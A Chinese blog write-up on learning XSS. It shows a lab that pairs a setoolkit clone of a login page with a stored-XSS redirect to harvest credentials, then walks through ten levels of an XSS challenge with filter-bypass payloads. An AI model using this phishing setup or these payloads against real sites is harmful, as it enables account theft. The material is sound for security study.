本文目录

  • 前言
  • xss盗取用户信息小实验
    • 实验环境
    • 实验
    • 实验过程
  • xss之旅
    • 第一关
    • 第二关
    • 第三关
    • 第四关
    • 第五关
    • 第六关
    • 第七关
    • 第八关
    • 第九关
    • 第十关
  • xss注入番外

前言

近段时间学习xss,进行了比较详细的了解,也学了一个小实验,感觉挺有意思,记录下来。然后,后面就是xss之旅的闯关。

xss盗取用户信息小实验

实验环境

DVWA、kali linux、物理机或一台windows系统的虚拟机。

实验

实验原理:
克隆网站登录页面,利用存储xss设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。
我画的图。咳咳,太丑了,
使用setoolkit工具克隆网站
setoolkit是一个kali自带的工具,要在root权限下使用。
使用工具克隆好网站后,去靶场插入xss存储型代码。
等待用户点击……
查看账户密码等信息。

实验过程

打开DVWA,复制一下这个登录页面的url,(这个是个在线的靶场,不知道哪位好心人搭建的。IP就不打码了,想尝试一下的也可以用这个试一下。)

登陆进去,先清理一下数据库记录(可有可无)

打开kali终端
root用户登陆的话就输入 setoolkit
普通用户就输入sudo setoolkit 回车

然后输入1回车
输入2回车
输入3回车
输入2回车
然后出现这样的页面,打码的地方是我的IP地址,

然后敲下回车键,就会提示让输入url,这个时候,将刚复制的DVWA的登录页面的URL输入进去,回车,出现这样的页面

下一步打开kali的浏览器,输入我的虚拟机的IP地址,

发现是这样的,证明克隆成功。
登陆进去,到存储型xss处插入代码
<script>window.location="http://***.***.**.***</script>
这里有长度限制,就f12改一下。

然后在win7虚拟机上进行登录


点击存储型xss,

自动跳转到克隆的登录界面上,然后输入账号密码登录

就会回到原来的网站登录页面。这个时候已经成功拿到了用户名和密码,后面就不管了。

查看盗取的信息,在kali终端就能看到下面的页面。
因为这里我试了两次,所以会有两次的记录。


然后试验完成,Ctrl+Z就可以退出了。

xss之旅

在线xss平台

第一关


构造简单的弹框代码成功弹窗即可。<script>alert(1);</script>

第二关

开始构造一个弹框的代码,发现无法弹框了。

查看一下源码

发现这里是我插入代码的位置,然后看到插入点是在input标签内部的,所以无法让浏览器识别弹框代码。这里要做的就是将前面的input标签提前闭合,还有后面的>也要给它闭合,而且还要让它弹框。
所以这里构造

"><script>alert('XSS')</script><

第三关

可以看出是尖括号,被转义了,所以尝试换个事件进行弹窗。
前面的value值是可以用单引号闭合,后面还有个双引号,可以把它以及后面的语句注释掉。构造payload

1' οnmοuseοver=alert(1)//


知识拓展:
onmouseover在代码中表示的含义是 ——当鼠标指针移至元素之上时运行脚本
还有其他的事件可以选择使用,以下是我找的其他xss可以触发的事件的代码。

第四关

第四关先用第三关的payload试一下,然后查看源码。

只需要将第三关的单引号换成双引号即可

第五关

进行on事件。但是发现on被分开了,中间多了个下划线_

那就再换构造语句,javascript伪协议
JavaScript伪协议介绍
将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码中含有多个语句,必须使用分号将这些语句分隔开。

javascript:var now = new Date(); "<h1>The time is:</h1>" +now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello,world!")

可以使用a标签来进行绕过。

"><a href="javascript:alert(document.domain)"

第六关


可以看出,将href过滤了,还有其他的几个,on还有script都被过滤了。
看了大佬的博客,说是str_replace函数进行处理了,使用大小写绕过就行了。

"><svg/Onload=alert(document.domain)>%0a


知识补充
HTML中的svg介绍
SVG意为可缩放矢量图形
SVG使用XML格式定义图像。
SVG文件可以通过以下标签嵌入HTML文档:

<embed>、<object>或者<iframe>、也可以使用svg标签插入。

闭合触发xss,

"><svg οnlοad=alert(document.domain)>%0a

第七关


这里它将我的on过滤了,变成了空格,然后想到了双写绕过
payload

"><svg oonnload=alert(document.domain)>%0a

第八关


可以看出href被过滤了,双引号也被过滤了,script也被过滤。这个过滤了这么多东西,要想到通过编码来绕过。
HTML编码可以进行绕过,

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;


这个是一种情况,还有一种情况是内容过滤,比如说,想通过弹窗事件来弹出某个内容,比如cookie。但是cookie如果被过滤了,
可以先将cookie进行base64加密,成一串base64编码,然后
atob:将base64进行解码,转换成明文,并通过eval来执行javascript代码。
再通过使用eval来执行语句。
可以构造一下payload

<script>eval(atob('base64编码'));</script>

第九关


不合法的话,那就加上http://

发现,链接是合法了,但是script被过滤了。所以要进行绕过,
可以选择使用HTML编码绕过,还可以利用制表符(%09)等方法进行过滤。

第一个:
javasc&#x72;ipt:%0dhttp://www.lalala.io%0dalert(1)
第二个:
javascr%09ipt:alert(1)//http://


这个是将r转换成HTML编码了,当然也可以转换其他的字母,使得绕过script就行。

第十关

没有看到注入框,结果找了一会,在控制台看到了隐藏的信息。
一个隐藏的表单。

猜想可以在这里面进行注入,具体的还要一个一个试。
先进行在t_link框里进行注入尝试。,不过失败了。

一个个尝试,最后发现在t_sort可以插入

主要是尝试在哪个位置可以插入代码。

闯关就先到这里吧,然后再把最近接触到的关于xss注入的知识点记录一下。

xss注入番外

  1. 属性中的xss闭合引入事件
" onmouseover=alert(document.domain)>        / /这个是鼠标放在上面就会触发xss,

当然还有其他属性,点击后触发,等触发事件。
完整语句是

<input/其他的标签 value= 空 onmouseover="alert(document.domain)">
  1. 列表中的xss事件
    HTML中的post方式的from表单提交。可以利用,插入xss语句。
    burpsuite测试xss,使用Burpsuite截取http请求,修改提交参数。
    闭合触发xss事件,用通过burpsuite在认为可能的地方插入xss代码进行闭合等操作。
  2. HTML中的svg介绍
    SVG意为可缩放矢量图形
    SVG使用XML格式定义图像。
    SVG文件可以通过以下标签嵌入HTML文档:
<embed><object>或者<iframe>、也可以使用svg标签插入。
闭合触发xss,
"><svg onload=alert(document.domain)>%0a诀窍:`见框就插`
  1. HTML表单文本框介绍
    HTML表单用于搜集不同类型的用户输入。表单元素指的是不同类型的input元素、复选框、单选按钮、提交按钮等等。text定义常规文本输入。
    属性介绍:
  • value 属性规定输入字段的初始值
  • readonly属性规定输入字段为只读(不能修改)
  • disabled 属性规定输入字段是禁用的。被禁用的元素是不可用和不可点击的。被禁用的元素不会被提交。
  • size 属性规定输入字段的尺寸(以字符计)
  • maxlength 属性规定输入字段允许的最大长度。
    如设置maxlength属性,则输入空间不会接受超过所允许数的字符。
    该属性不会提供任何反馈。如果需要提醒用户,则必须编写JavaScript代码。
    xss的payload长度计算
    使用python的内置函数 len()
    修改时直接修改maxlength参数就可以了。
payload 触发xss漏洞
"><svg/οnlοad=alert(document.domain)>%0a
或者:    " onmouseover=alert(document.domain)>
  1. HTML事件介绍
  2. 空格分割属性的xss
    JavaScript伪协议介绍
    将JavaScript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
    如果javascript:URL中的javascript代码中含有多个语句,必须使用分号将这些语句分隔开。
javascript:var now = new Date(); "<h1>The time is:</h1>" +now;
javascript URL还可以含有只执行动作,但不返回值的javascript语句
javascript:alert("hello,world!")
  1. 绕过过滤domain为空的xss
  • 双写绕过
    过滤一个domain,可以制造这样的payload。
    dodomainmain
    这个payload使得浏览器将domain过滤掉,剩下的do和main重新构成了domain。
  • 编码绕过
    构造payload进行base64加密。
    eval
    atob:将base64进行解码,转换成明文,并通过eval来执行javascript代码。
  • 空格绕过:
    如果浏览器过滤了script关键字或者其他的什么关键字,导致javascript代码无法执行,那么可以考虑空格绕过。
  • 利用IE特性绕过xss过滤(只适用于IE浏览器)
IE特性:两个反引号``可以闭合一个左边双引号

CSS绕过
CSS特性介绍
background:url("javascript:alert(document.domain);"); 设置背景颜色
这是利用javascript伪协议执行js,目前只有IE浏览器支持,其他的不支持

payload触发CSS
background-color:#f00;background:url("javascript:alert(document.domain);");

先到这里,后续还有几个不常见的知识点,回头学了再补吧。最近有点累,要期末考试了,也该准备下复习了。睡觉睡觉,今天早点睡,不熬了。
对了突然想起来,这个好像是之前学长布置的作业来着,果然还是那个老毛病,不到检查作业最后一刻,绝对不提前写完。哈哈哈。下周十六周,刚刚好,截至周。
现在没事回头看看自己写的博客和印象笔记。哈哈学了不少东西呐。
从2020.1.12发的第一篇文章到现在4个多月了,看看还是蛮有成就感的。

嗯!要继续加油啊。

文末寄语:

在这世上,有些东西是石头无法刻成的,在我们心里,有一块地方是无法锁住的,那块地方叫做希望。——《肖申克的救赎》

XSS盗取用户信息实验(详细)及xss之旅闯关相关推荐

  1. 怎么搭建xss平台云服务器,最详细搭建xss平台

    hello 大家好 我是Si Lun 今天来教大家搭建xss平台吧 就在刚刚老夫也是刚刚搭建完了,亲测可用, 拿出来跟大家分享下,其实自己没有必要去搭建,外面一堆xss平台,但是如何搭建的,还是要知道 ...

  2. 微信小程序 - 最新获取用户昵称 / 头像(wx.getUserProfile 接口被废弃后的代替方案)详细教程,2022 年之后的所有微信小程序,获取用户信息最新详细教程,附带示例源代码

    前言 由于官方修改了 "用户头像昵称获取规则" ,导致网上几乎所有教程全部失效,本文来做最新详细教程. 2022 年往后(官方废弃了 wx.getUserProfile 接口),本 ...

  3. XSS挑战之旅闯关笔记

    环境自己搭建~~好嚣张: 1.http://127.0.0.1:8024/xss/level1.php?name=test  这是URL 看到后面name有参数传递,不多想直接尝试xss. 没有任何过 ...

  4. php scrscriptipt,XSS挑战之旅闯关笔记

    环境自己搭建~~好嚣张: 1.http://127.0.0.1:8024/xss/level1.php?name=test  这是URL 看到后面name有参数传递,不多想直接尝试xss. 没有任何过 ...

  5. 网络安全实验6 认识XSS 盗取cookie

    赞赏码 & 联系方式 & 个人闲话 [实验名称]认识XSS&盗取cookie [实验目的] 1. 了解XSS漏洞 2. 掌握盗取Cookie的方法 [实验原理] 1.什么是XS ...

  6. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  7. Facebook热门应用被曝向第三方提供用户信息

    北京时间10月18日消息,据国外媒体报道,<华尔街日报>日前所作的一项调查发现,许多Facebook最热门应用一直都将用户的身份信息实发送给数十家广告和互联网研究公司.据悉,该身份信息不仅 ...

  8. 腾讯微搭小程序获取微信用户信息

    腾讯微搭小程序获取微信用户信息 无论你对低代码开发的爱与恨, 微信生态的强大毋庸置疑. 因此熟悉微搭技术还是很有必要的! 在大多数应用中, 都需要获取和跟踪用户信息. 本文就微搭中如何获取和存储用户信 ...

  9. (超详细)XSS和SQL注入-网络渗透测试实验三

    文章目录 前言 实验目的 系统环境 网络环境 实验工具 XSS部分:利用Beef劫持被攻击者客户端浏览器. 实验环境搭建. 环境搭建参考网站 搭建IIS时踩的坑: 1.利用AWVS扫描留言簿网站,发现 ...

  10. xss漏洞-DVWA跨站攻击盗取用户cookie值

    程Kaedy.cn-www.kaedy.cn XSS跨站脚本攻击介绍 跨站脚本攻击英文全称为(Cross site Script)缩写为 CSS,但是为了和层叠样式表(Cascading Style ...

最新文章

  1. (转)新开发Apple Store上软件的实施步骤
  2. (译)如何使用cocos2d来制作一个打地鼠的游戏:第一部分
  3. python开发效率高吗_提升python开发者工作效率的六个库,你知道几个?
  4. win10 详细配置JAVA环境变量(最详细),操作步骤如下:
  5. vue 项目引用static目录资源_vuejs-templates静态资源目录src/assets、和static/区别
  6. 学习总结5 - bootstrap学习记录1__安装
  7. pb retrieve时停止工作_大佬们挂在嘴边的PE、PB是什么?
  8. 电脑cpu温度过高怎么办_解决电脑主板CPU温度过高,COC机箱提升电脑健康指数
  9. 贝塞尔曲线的css实现——淘宝加入购物车基础动画
  10. 安装签名不一致什么意思_探灵之夜嫁安装失败签名不一致怎么办-夜嫁安装失败签名不一致解决方法-松松手游网...
  11. LoadRunner11 压力测试
  12. intouch负值显示0_InTouch常见问题
  13. 从有赞UI组件库看CSS BEM命名规范的好处
  14. unreal4特性介绍
  15. 进制转换之十进制转换为十六进制
  16. Web主机管理器(WHM)中如何安装SSL证书
  17. codeforces 618 C. Constellation(三角形,三点共线)
  18. 天作之合:水果与朗姆酒
  19. 人工智能AI:TensorFlow Keras PyTorch MXNet PaddlePaddle 深度学习实战 part1
  20. php账号登录验证手机号码,最完整的php验证手机号码

热门文章

  1. java写快递柜管理系统
  2. 双色球历史数据下载最新2003年2021年
  3. Python实现一个简单的HTTP代理
  4. springboot项目版本升级
  5. php composer 安装报错 Package fxp/composer-asset-plugin has a PHP requirement incompatible with your PHP
  6. java长连接转短连接
  7. 分式的化简(约分、通分)
  8. 计算机英语教学设计反思,英语教学设计与反思
  9. 计算机nls数据丢失损坏无法启动,电脑开机时,显示NLS数据丢失或损坏怎么处理...
  10. 大学计算机基础案例教程章测试答案,大学计算机基础案例教程--Win7+Office2010(高等院校公共基础课规划教材)...